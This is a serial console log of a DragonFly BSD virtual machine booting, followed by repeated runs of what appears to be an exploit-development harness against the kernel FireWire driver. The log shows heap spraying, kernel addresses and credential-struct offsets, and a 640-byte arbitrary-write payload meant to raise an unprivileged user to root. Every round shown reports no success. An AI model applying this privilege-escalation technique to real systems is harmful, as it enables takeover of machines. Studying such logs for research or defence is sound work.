DF-5845 / run.serial.log
XMMNNOO-\|/-\|/-\|/-\|/
1. Boot DragonFly [kernel] ,--, ,--,
2. Boot DragonFly in Safe Mode | `-, _:_ ,-' |
3. Boot DragonFly without AHCI driver `, `-, (/ \) ,-' ,'
4. Boot DragonFly without ACPI driver `-, `-,/ \,-' ,-'
9. Escape to loader prompt (also ESC) `------{ }------'
o. Boot DragonFly using kernel.old ,----------{ }----------,
r. Boot DragonFly to a rescue ramdisk | _,-{ }-,_ |
s. Boot DragonFly in single user mode `-,__,-' \ / `-,__,-'
v. Boot DragonFly with verbose logging | |
R. Reboot | |
| |
| |
| |
| |
`,'
Booting in 10 seconds...
Booting in 9 seconds...
Booting in 8 seconds...
Booting in 7 seconds...
Booting in 6 seconds...
Booting in 5 seconds...
Booting in 4 seconds...
Booting in 3 seconds...
Booting in 2 seconds...
Booting in 1 second...
Booting in 0 seconds...
-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-kernel (from /boot/kernel/kernel) text=0xbcfc60 \|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-data=0x17842c+0xa27db4 \|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|syms=[0x8+0xfff00/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/+0x8+0xdb4d8-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|]
/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-ehci.ko \|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-size 0x75fc0 at 0x1d4c000
\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|xhci.ko /-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|size 0x85f90 at 0x1dc2000
/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|/-\|Copyright (c) 2003-2026 The DragonFly Project.
Copyright (c) 1992-2003 The FreeBSD Project.
Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994
The Regents of the University of California. All rights reserved.
DragonFly 6.5-DEVELOPMENT #4: Sun Oct 18 10:14:01 UTC 2026
root@dfbsd:/usr/obj/usr/src/sys/FWH
acpi_hpet: frequency 100000000
Using cputimer HPET for TSC calibration
Timer latency (in TSC ticks): 34985 min=31918 max=90702
TSC clock: 3600010341 Hz, NOT invariant
CPU: QEMU Virtual CPU version 2.5+ (3600.01-MHz K8-class CPU)
Origin="GenuineIntel" Id=0x60fb1 Family=0xf Model=0x6b Stepping=1
Features=0x1783fbfd<FPU,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV,PAT,PSE36,MMX,FXSR,SSE,SSE2,HTT>
Features2=0x80202001<SSE3,CX16,x2APIC,VMM>
AMD Features=0x20100800<SYSCALL,NX,LM>
AMD Features2=0x1<LAHF>
MONITOR/MWAIT Features=0x2<INTBRK>
VMM/Hypervisor: Origin="KVMKVMKVM"
real memory = 4293381120 (4094 MB)
avail memory = 4088532992 (3899 MB)
LAPIC: enter X2APIC mode
madt_lapic_probe: lapic_count=6 x2apic_count=0
ACPI CPUS = 6
lapic: divisor index 0, frequency 500003110 Hz
CPU Topology: cores_per_chip: 6; threads_per_core: 1; chips_per_package: 1;
srat_probe: can't locate SRAT
SMI Frequency (worst case): 43478 Hz (23 us)
Initialize MI interrupts for 6 cpus
TSC is not invariant, no further tests will be performed
Spectre: support=( none ) req=ffff operating=( none )
MDS: support=( none ) req=ffff operating=( none )
machdep.meltdown_mitigation enabled to protect against (mostly Intel) meltdown bug
system call performance will be impacted
interrupt uses mplock: swi_taskq
wdog: In-kernel automatic watchdog reset enabled
md0: Malloc disk
evdev device loaded.
kbd1 at kbdmux0
ACPI: RSDP 0x00000000000F59A0 000014 (v00 BOCHS )
ACPI: RSDT 0x00000000BFFE1CAC 000034 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: FACP 0x00000000BFFE1B38 000074 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: DSDT 0x00000000BFFE0040 001AF8 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: FACS 0x00000000BFFE0000 000040
ACPI: APIC 0x00000000BFFE1BAC 0000A0 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: HPET 0x00000000BFFE1C4C 000038 (v01 BOCHS BXPC 00000001 BXPC 00000001)
ACPI: WAET 0x00000000BFFE1C84 000028 (v01 BOCHS BXPC 00000001 BXPC 00000001)
sc0: <System console> on motherboard
sc0: VGA <16 virtual consoles, flags=0x100>
acpi0: <BOCHS BXPC> on motherboard
ACPI: 1 ACPI AML tables successfully acquired and loaded
ACPI FADT: SCI testing interrupt mode ...
ACPI FADT: SCI select level/high
acpi0: Power Button (fixed)
acpi_hpet0: <High Precision Event Timer> iomem 0xfed00000-0xfed003ff on acpi0
acpi_timer0 on acpi0
isab0: <ACPI Generic ISA bridge> on acpi0
isa0: <ISA bus> on isab0
cpu0: <ACPI CPU> on acpi0
cpu_cst0: <ACPI CPU C-State> on cpu0
cpu1: <ACPI CPU> on acpi0
cpu_cst1: <ACPI CPU C-State> on cpu1
cpu2: <ACPI CPU> on acpi0
cpu_cst2: <ACPI CPU C-State> on cpu2
cpu3: <ACPI CPU> on acpi0
cpu_cst3: <ACPI CPU C-State> on cpu3
cpu4: <ACPI CPU> on acpi0
cpu_cst4: <ACPI CPU C-State> on cpu4
cpu5: <ACPI CPU> on acpi0
cpu_cst5: <ACPI CPU C-State> on cpu5
pcib0: <ACPI Host-PCI bridge> port 0xcf8-0xcff on acpi0
pci0: <ACPI PCI bus> on pcib0
isab1: <PCI-ISA bridge> at device 1.0 on pci0
isa1: <ISA bus> on isab1
atapci0: <Intel PIIX3 WDMA2 controller> port 0xc0a0-0xc0af,0x376,0x170-0x177,0x3f6,0x1f0-0x1f7 at device 1.1 on pci0
ata0: <ATA channel 0> on atapci0
interrupt uses mplock: ata0
ata1: <ATA channel 1> on atapci0
interrupt uses mplock: ata1
acd0: DVDROM <QEMU DVD-ROM/2.5+> at ata1-master WDMA2
pci0: <bridge> (vendor 0x8086, dev 0x7113) at device 1.3 irq 9
vgapci0: <VGA-compatible display> mem 0xfebd0000-0xfebd0fff,0xfd000000-0xfdffffff at device 2.0 on pci0
vgapci0: Boot video device
virtio_pci0: <VirtIO PCI Network adapter> port 0xc080-0xc09f mem 0xfe000000-0xfe003fff,0xfebd1000-0xfebd1fff irq 11 at device 3.0 on pci0
vtnet0: <VirtIO Networking Adapter> on virtio_pci0
virtio_pci0: host features: 0x79bf8064 <EventIdx,RingIndirect,AnyLayout,NotifyOnEmpty,SetMacAddress,GuestAnnounce,RxModeExtra,VLanFilter,RxMode,ControlVq,Status,MrgRxBuf,TxAllGSO,MacAddress,DynOffload>
virtio_pci0: negotiated features: 0x198f8020 <RingIndirect,AnyLayout,NotifyOnEmpty,SetMacAddress,VLanFilter,RxMode,ControlVq,Status,MrgRxBuf,MacAddress>
virtio_pci0: using 3 MSI-X vectors
vtnet0: MAC address: 52:54:00:12:34:56
virtio_pci1: <VirtIO PCI Block adapter> port 0xc000-0xc07f mem 0xfe004000-0xfe007fff,0xfebd2000-0xfebd2fff irq 11 at device 4.0 on pci0
vtblk0: <VirtIO Block Adapter> on virtio_pci1
virtio_pci1: host features: 0x79007e54 <EventIdx,RingIndirect,AnyLayout,NotifyOnEmpty,WriteZeroes,Discard,MultiQueue,ConfigWCE,Topology,FlushCommand,BlockSize,DiskGeometry,MaxNumSegs>
virtio_pci1: negotiated features: 0x10001a54 <RingIndirect,MultiQueue,ConfigWCE,FlushCommand,BlockSize,DiskGeometry,MaxNumSegs>
virtio_pci1: using 6 MSI-X vectors
vtblk0: Virtio: ncylinders at legacy maximum (16383), recalculating to 62415
vtblk0: Block size: 512
vtblk0: 30720MB (62914560 512 byte sectors: 16H 63S/T 16383C)
atkbdc0: <Keyboard controller (i8042)> port 0x64,0x60 irq 1 on acpi0
atkbd0: <AT Keyboard> irq 1 on atkbdc0
kbd0 at atkbd0
psm0: <PS/2 Mouse> irq 12 on atkbdc0
interrupt uses mplock: psm0
psm0: model IntelliMouse Explorer, device ID 4
sio0: <16550A-compatible COM port> port 0x3f8-0x3ff irq 4 on acpi0
sio0: type 16550A, console
ACPI: Enabled 2 GPEs in block 00 to 0F
rdrand0: No RdRand support.
orm0: <ISA Option ROM> at iomem 0xe8000-0xeffff on isa1
vga0: <Generic ISA VGA> at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa1
sio2: can't drain, serial port might not exist, disabling
FWHARNESS-READY: fwdev.o verbatim, fc=0xffffffff817e2e40 nisodma=4 maxrec=10 /dev/fw0.0 (0660 root:operator) + /dev/fwhctl0
hpt27xx: no controller detected.
CAM: Configuring 2 busses
CAM: finished configuring all busses
cd0 at ata1 bus 0 target 0 lun 0
cd0: <QEMU QEMU DVD-ROM 2.5+> Removable CD-ROM SCSI-0 device
cd0: 16.000MB/s transfers
cd0: Attempt to query device size failed: NOT READY, Medium not present
Mounting root from hammer2:vbd0s1d
hammer2_mount: root devstr="vbd0s1d"
hammer2_mount: device="vbd0s1d" label="ROOT" rdonly=1
hammer2_ondisk: "/dev/vbd0s1d" zone=2 id=0 offset=0x0000000000000000 size=0x000000063f000000
hammer2_mount: hmp=0xfffff8008fac0000 pmp=0xfffff80090260000
DMA space used: 13580k, remaining available: 131072k
Mounting devfs
Loading configuration files.
Loading devfs rules: /etc/defaults/devfs.conf.
Initializing random seed: done.
dumpon: crash dumps to /dev/vbd0s1b (25, 0x20001)
Starting file system checks:
/dev/vbd0s1a: 1397 files, 469708 used, 53451 free (1859 frags, 6449 blocks, 0.4% fragmentation)
mount_hammer2: unable to connect to cluster controller
mount_hammer2: cluster_connect(/dev/vbd0s1d@ROOT) failed
hammer2_mount: "vbd0s1d": no recovery needed
hammer2: enable read/write
HAMMER2: VOLDATA DUMP
HAMMER2: INITIATE SPANs
mount_hammer2: unable to connect to cluster controller
mount_hammer2: cluster_connect(/dev/vbd0s1d@ROOT) failed
Mounting tmpfs at /var/run/shm.
debug.debugger_on_panic: 1 -> 0
Setting hostname: dfbsd.
Starting dhclient.
starting dhclient on vtnet0
lo0: flags=808049<UP,LOOPBACK,RUNNING,MULTICAST,PROXY> metric 0 mtu 16384
options=43<RXCSUM,TXCSUM,RSS>
inet 127.0.0.1 netmask 0xff000000
inet6 ::1 prefixlen 128
inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2
groups: lo
vtnet0: flags=808843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST,PROXY> metric 0 mtu 1500
options=28<VLAN_MTU,JUMBO_MTU>
ether 52:54:00:12:34:56
inet6 fe80::5054:ff:fe12:3456%vtnet0 prefixlen 64 tentative scopeid 0x1
inet 10.0.2.15 netmask 0xffffff00 broadcast 10.0.2.255
media: Ethernet 1000baseT <full-duplex>
status: active
route: writing to routing socket: File exists
add net default: gateway 10.0.2.2: File exists
Additional routing options:.
Starting devd.
Additional TCP options:.
Mounting NFS file systems:.
ELF ldconfig path: /lib /usr/lib /usr/local/lib /usr/local/libdata/ldconfig/pkg
Building databases...
Starting syslogd.
Oct 18 10:29:36 dfbsd syslogd: kernel boot file is /boot/kernel/kernel
savecore: reboot after panic: page fault
Oct 18 10:29:36 dfbsd savecore: reboot after panic: page fault
savecore: writing kernel to kern.5
savecore: writing core to vmcore.5
Writing crash summary to /var/crash/core.txt.5.
swap low/high-water marks set to 41940/62910
swapon: adding /dev/vbd0s1b as swap device
NFS CLIENT: access_cache_timeout=5 neg_cache_timeout=3.
Starting local daemons:.
Updating motd.
Configuring syscons: blanktime.
Starting sshd.
sendmail_submit: /etc/mail/aliases.db not present, generating
sendmail_clientmqueue: /etc/mail/aliases.db not present, generating
Starting cron.
Local package initialization:.
Sun Oct 18 10:29:46 UTC 2026
DragonFly/x86_64 (dfbsd) (ttyd0)
login: fwh: TXDONE xfer=0xfffff8008bb44280 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187b7000 recv.pay_len=4096
fwh: SPRAY +400 x 160 bytes (idx 0..399, slab size-class zone, canary tagged)
fwh: SPRAY +1 x 160 bytes (idx 400..400, slab size-class zone, canary tagged)
fwh: SPRAYPOP chunk 400 (160 bytes) ptr=0xfffff8008bb53c80 (removed from list, kernel will free it)
fwh: SPRAYFREE chunk 9 (160 bytes) freed
fwh: SPRAYFREE chunk 8 (160 bytes) freed
fwh: SPRAY +2 x 160 bytes (idx 401..402, slab size-class zone, canary tagged)
fwh: SPRAYFREE chunk 402 (160 bytes) freed
fwh: SPRAYFREE chunk 401 (160 bytes) freed
RIG: v6 consts pfindn=0xffffffff8064dc00 fw_asy_callback=0xffffffff804bb220 fwh_fc=0xffffffff817e2e40 fwh_atq=0xffffffff817e2d40 M_FWXFER=0xffffffff810aad40
RIG: proc.p_ucred=+16 ucred cr_uid=+64 cr_ruid=+160 cr_svuid=+164 cr_ngroups=+68 cr_groups=+72
RIG: fw_xfer send.payload=+80 recv.hdr=+96 recv.payload=+112 recv.pay_len=+120 mbuf=+128 malloc=+144
RIG: attack: S_PRED=0xfffff8008bb44780 K=0xfffff8008bb53c80
RIG: pend baseline=1
DF5845-WEAPON: uid=1002 gid=1002 S=0xfffff8008bb44780 (write base S-160=0xfffff8008bb446e0) (off send.payload=80 recv.payload=112 recv.pay_len=120)
fwh: TXDONE xfer=0xfffff8008bb44780 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff8008bb446e0 recv.pay_len=1024
RIG: weapon pid=916
RIG: watch[0] poll n=1
fwh: TXDONE xfer=0xfffff8008bb44820 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187bc000 recv.pay_len=4096
fwh: PKTRCV len=656 w0=ffc00870 w1=00110000 w2=00000000 w3=02800000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=10 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=3 resp=0 act.hand=0xfffff8008bb448d0 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=656 delivered to stock fw_rcv
RIG: wire: S=0xfffff8008bb44780 tl=2 V=0xfffff8008bb44820 tl=3
RIG: stub 65 bytes at 0xfffff8008bb448d0 (pfindn=0xffffffff8064dc00 pid=916)
RIG: payload 640 bytes [canary|S-fix|V|stub] @ S-160=0xfffff8008bb446e0
RIG: S-response delivered (656 bytes) -> fw_rcv_copy arb-write of 640 bytes @ S-160
fwh: PKTRCV len=16 w0=ffc00c70 w1=00220000 w2=00000000 w3=00000000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=10 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=10 resp=0 act.hand=0xfffff8008bb448d0 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=16 delivered to stock fw_rcv
RIG: V-response delivered -> dispatch armed
DF5845-WEAPON: ioctls done s_rc=-1(22) v_rc=-1(35) uid=1002
DF5845-WEAPON: no win this round (uid=1002)
fwh: TXDONE xfer=0xfffff8008bb53be0 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187b7000 recv.pay_len=4096
fwh: SPRAY +400 x 160 bytes (idx 0..399, slab size-class zone, canary tagged)
fwh: TXDONE xfer=0xfffff8008bb44780 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187b7000 recv.pay_len=4096
fwh: SPRAY +400 x 160 bytes (idx 0..399, slab size-class zone, canary tagged)
fwh: SPRAY +1 x 160 bytes (idx 400..400, slab size-class zone, canary tagged)
fwh: SPRAYPOP chunk 400 (160 bytes) ptr=0xfffff8008bb53c80 (removed from list, kernel will free it)
fwh: SPRAYFREE chunk 12 (160 bytes) freed
fwh: SPRAYFREE chunk 11 (160 bytes) freed
fwh: SPRAY +2 x 160 bytes (idx 401..402, slab size-class zone, canary tagged)
fwh: SPRAYFREE chunk 402 (160 bytes) freed
fwh: SPRAYFREE chunk 401 (160 bytes) freed
RIG: v6 consts pfindn=0xffffffff8064dc00 fw_asy_callback=0xffffffff804bb220 fwh_fc=0xffffffff817e2e40 fwh_atq=0xffffffff817e2d40 M_FWXFER=0xffffffff810aad40
RIG: proc.p_ucred=+16 ucred cr_uid=+64 cr_ruid=+160 cr_svuid=+164 cr_ngroups=+68 cr_groups=+72
RIG: fw_xfer send.payload=+80 recv.hdr=+96 recv.payload=+112 recv.pay_len=+120 mbuf=+128 malloc=+144
RIG: attack: S_PRED=0xfffff8008bb44960 K=0xfffff8008bb53c80
RIG: pend baseline=5
DF5845-WEAPON: uid=1002 gid=1002 S=0xfffff8008bb44960 (write base S-160=0xfffff8008bb448c0) (off send.payload=80 recv.payload=112 recv.pay_len=120)
fwh: TXDONE xfer=0xfffff8008bb44960 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff8008bb448c0 recv.pay_len=1024
RIG: weapon pid=966
RIG: watch[0] poll n=1
fwh: TXDONE xfer=0xfffff8008bb44a00 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187be000 recv.pay_len=4096
fwh: PKTRCV len=656 w0=ffc01870 w1=00110000 w2=00000000 w3=02800000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=0 resp=32 act.hand=0x7e0dc0df00000030 recv.payload=0xa0a00001f00df00d recv.pay_len=112
fwh: POST-RCV pend[3] seq=3 dst=0x99 tl=4 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[4] seq=4 dst=0x99 tl=5 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[5] seq=5 dst=0x11 tl=6 xfer=0xfffff8008bb44960 state=10 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[6] seq=6 dst=0x22 tl=7 xfer=0xfffff8008bb44a00 state=3 resp=0 act.hand=0xfffff8008bb44ab0 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=656 delivered to stock fw_rcv
RIG: wire: S=0xfffff8008bb44960 tl=6 V=0xfffff8008bb44a00 tl=7
fwh: PKTRCV len=16 w0=ffc01c70 w1=00220000 w2=00000000 w3=00000000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=0 resp=32 act.hand=0x7e0dc0df00000030 recv.payload=0xa0a00001f00df00d recv.pay_len=112
fwh: POST-RCV pend[3] seq=3 dst=0x99 tl=4 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[4] seq=4 dst=0x99 tl=5 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[5] seq=5 dst=0x11 tl=6 xfer=0xfffff8008bb44960 state=10 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[6] seq=6 dst=0x22 tl=7 xfer=0xfffff8008bb44a00 state=10 resp=0 act.hand=0xfffff8008bb44ab0 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=16 delivered to stock fw_rcv
RIG: stub 65 bytes at 0xfffff8008bb44ab0 (pfindn=0xffffffff8064dc00 pid=966)
RIG: payload 640 bytes [canary|S-fix|V|stub] @ S-160=0xfffff8008bb448c0
RIG: S-response delivered (656 bytes) -> fw_rcv_copy arb-write of 640 bytes @ S-160
RIG: V-response delivered -> dispatch armed
DF5845-WEAPON: ioctls done s_rc=-1(22) v_rc=-1(35) uid=1002
DF5845-WEAPON: no win this round (uid=1002)
fwh: TXDONE xfer=0xfffff8008bb53be0 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187b7000 recv.pay_len=4096
fwh: SPRAY +400 x 160 bytes (idx 0..399, slab size-class zone, canary tagged)
fwh: TXDONE xfer=0xfffff8008bb44960 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187b7000 recv.pay_len=4096
fwh: SPRAY +400 x 160 bytes (idx 0..399, slab size-class zone, canary tagged)
fwh: SPRAY +1 x 160 bytes (idx 400..400, slab size-class zone, canary tagged)
fwh: SPRAYPOP chunk 400 (160 bytes) ptr=0xfffff8008bb53c80 (removed from list, kernel will free it)
fwh: SPRAYFREE chunk 9 (160 bytes) freed
fwh: SPRAYFREE chunk 8 (160 bytes) freed
fwh: SPRAY +2 x 160 bytes (idx 401..402, slab size-class zone, canary tagged)
fwh: SPRAYFREE chunk 402 (160 bytes) freed
fwh: SPRAYFREE chunk 401 (160 bytes) freed
RIG: v6 consts pfindn=0xffffffff8064dc00 fw_asy_callback=0xffffffff804bb220 fwh_fc=0xffffffff817e2e40 fwh_atq=0xffffffff817e2d40 M_FWXFER=0xffffffff810aad40
RIG: proc.p_ucred=+16 ucred cr_uid=+64 cr_ruid=+160 cr_svuid=+164 cr_ngroups=+68 cr_groups=+72
RIG: fw_xfer send.payload=+80 recv.hdr=+96 recv.payload=+112 recv.pay_len=+120 mbuf=+128 malloc=+144
RIG: attack: S_PRED=0xfffff8008bb44500 K=0xfffff8008bb53c80
RIG: pend baseline=9
DF5845-WEAPON: uid=1002 gid=1002 S=0xfffff8008bb44500 (write base S-160=0xfffff8008bb44460) (off send.payload=80 recv.payload=112 recv.pay_len=120)
fwh: TXDONE xfer=0xfffff8008bb44500 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff8008bb44460 recv.pay_len=1024
RIG: weapon pid=1014
RIG: watch[0] poll n=1
fwh: TXDONE xfer=0xfffff8008bb445a0 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187a1000 recv.pay_len=4096
fwh: PKTRCV len=656 w0=ffc02870 w1=00110000 w2=00000000 w3=02800000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0da00000030 recv.payload=0xa0a00004f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=0 resp=32 act.hand=0x7e0dc0dd00000030 recv.payload=0xa0a00003f00df00d recv.pay_len=112
fwh: POST-RCV pend[3] seq=3 dst=0x99 tl=4 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[4] seq=4 dst=0x99 tl=5 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[5] seq=5 dst=0x11 tl=6 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[6] seq=6 dst=0x22 tl=7 xfer=0xfffff8008bb44a00 state=0 resp=32 act.hand=0x7e0dc0df00000030 recv.payload=0xa0a00001f00df00d recv.pay_len=112
fwh: POST-RCV pend[7] seq=7 dst=0x99 tl=8 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[8] seq=8 dst=0x99 tl=9 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[9] seq=9 dst=0x11 tl=10 xfer=0xfffff8008bb44500 state=10 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[10] seq=10 dst=0x22 tl=11 xfer=0xfffff8008bb445a0 state=3 resp=0 act.hand=0xfffff8008bb44650 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=656 delivered to stock fw_rcv
RIG: wire: S=0xfffff8008bb44500 tl=10 V=0xfffff8008bb445a0 tl=11
RIG: stub 65 bytes at 0xfffff8008bb44650 (pfindn=0xffffffff8064dc00 pid=1014)
RIG: payload 640 bytes [canary|S-fix|V|stub] @ S-160=0xfffff8008bb44460
fwh: PKTRCV len=16 w0=ffc02c70 w1=00220000 w2=00000000 w3=00000000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0da00000030 recv.payload=0xa0a00004f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=0 resp=32 act.hand=0x7e0dc0dd00000030 recv.payload=0xa0a00003f00df00d recv.pay_len=112
fwh: POST-RCV pend[3] seq=3 dst=0x99 tl=4 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[4] seq=4 dst=0x99 tl=5 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[5] seq=5 dst=0x11 tl=6 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[6] seq=6 dst=0x22 tl=7 xfer=0xfffff8008bb44a00 state=0 resp=32 act.hand=0x7e0dc0df00000030 recv.payload=0xa0a00001f00df00d recv.pay_len=112
